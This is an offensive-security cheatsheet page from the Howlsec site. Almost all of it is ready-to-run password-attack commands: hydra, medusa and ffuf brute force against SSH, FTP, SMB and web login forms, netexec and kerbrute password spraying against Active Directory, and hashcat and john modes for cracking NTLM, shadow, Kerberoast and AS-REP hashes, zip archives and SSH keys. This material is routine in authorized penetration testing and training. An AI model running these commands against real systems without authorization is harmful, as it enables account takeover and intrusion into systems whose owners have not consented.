Howlsec
HOWLSEC
offensive security
// notes/ Cheatsheets & Payloads
🔨

Brute Force & Password Attacks — Cheatsheet

hydra/medusa/netexec spraying plus hashcat & john modes.

#brute force#hydra#hashcat#john#spraying

Brute Force & Password Attacks — Cheatsheet

Service brute force

Brute-force SSH with a user list and rockyou.

🐺 howlsec@kali
$hydra -L users.txt -P rockyou.txt ssh://$IP

Brute-force FTP for a single known user.

🐺 howlsec@kali
$hydra -l admin -P rockyou.txt ftp://$IP

Spray SMB logins across users and passwords.

🐺 howlsec@kali
$hydra -L users.txt -P pass.txt $IP smb

Same against SSH using medusa.

🐺 howlsec@kali
$medusa -h $IP -u admin -P rockyou.txt -M ssh

Web login brute force

Brute-force an HTML login form (adjust the failure string).

🐺 howlsec@kali
$hydra -L users.txt -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

Fuzz a POST login with ffuf, filtering out the failure code.

🐺 howlsec@kali
$ffuf -u http://$IP/login -X POST -d "user=admin&pass=FUZZ" -w rockyou.txt -H "Content-Type: application/x-www-form-urlencoded" -fc 200

Spraying (AD)

Spray one password across all domain users.

🐺 howlsec@kali
$nxc smb $DC -u users.txt -p 'Season2024!' --continue-on-success

Kerberos-based spray (no SMB lockout noise).

🐺 howlsec@kali
$kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Season2024!'

Cracking — hashcat (pick the mode by hash type)

Crack raw MD5 hashes.

🐺 howlsec@kali
$hashcat -m 0 hash.txt rockyou.txt

Crack Windows NTLM hashes.

🐺 howlsec@kali
$hashcat -m 1000 hash.txt rockyou.txt

Crack Linux sha512crypt ($6$) shadow hashes.

🐺 howlsec@kali
$hashcat -m 1800 hash.txt rockyou.txt

Crack Kerberoast (TGS-REP) hashes.

🐺 howlsec@kali
$hashcat -m 13100 spns.hash rockyou.txt

Crack AS-REP roast hashes.

🐺 howlsec@kali
$hashcat -m 18200 asrep.hash rockyou.txt

Cracking — john

Crack a hash with a wordlist.

🐺 howlsec@kali
$john --wordlist=rockyou.txt hash.txt

Force the NT format when autodetect guesses wrong.

🐺 howlsec@kali
$john --format=NT hash.txt --wordlist=rockyou.txt

Crack a password-protected zip.

🐺 howlsec@kali
$zip2john file.zip > zip.hash && john zip.hash

Crack an encrypted SSH private key.

🐺 howlsec@kali
$ssh2john id_rsa > ssh.hash && john ssh.hash

Wordlist / mutation

Build a wordlist from words on the target site.

🐺 howlsec@kali
$cewl http://$IP -w words.txt

Expand a wordlist with hashcat rules (leetspeak, appends, etc.).

🐺 howlsec@kali
$hashcat --stdout words.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt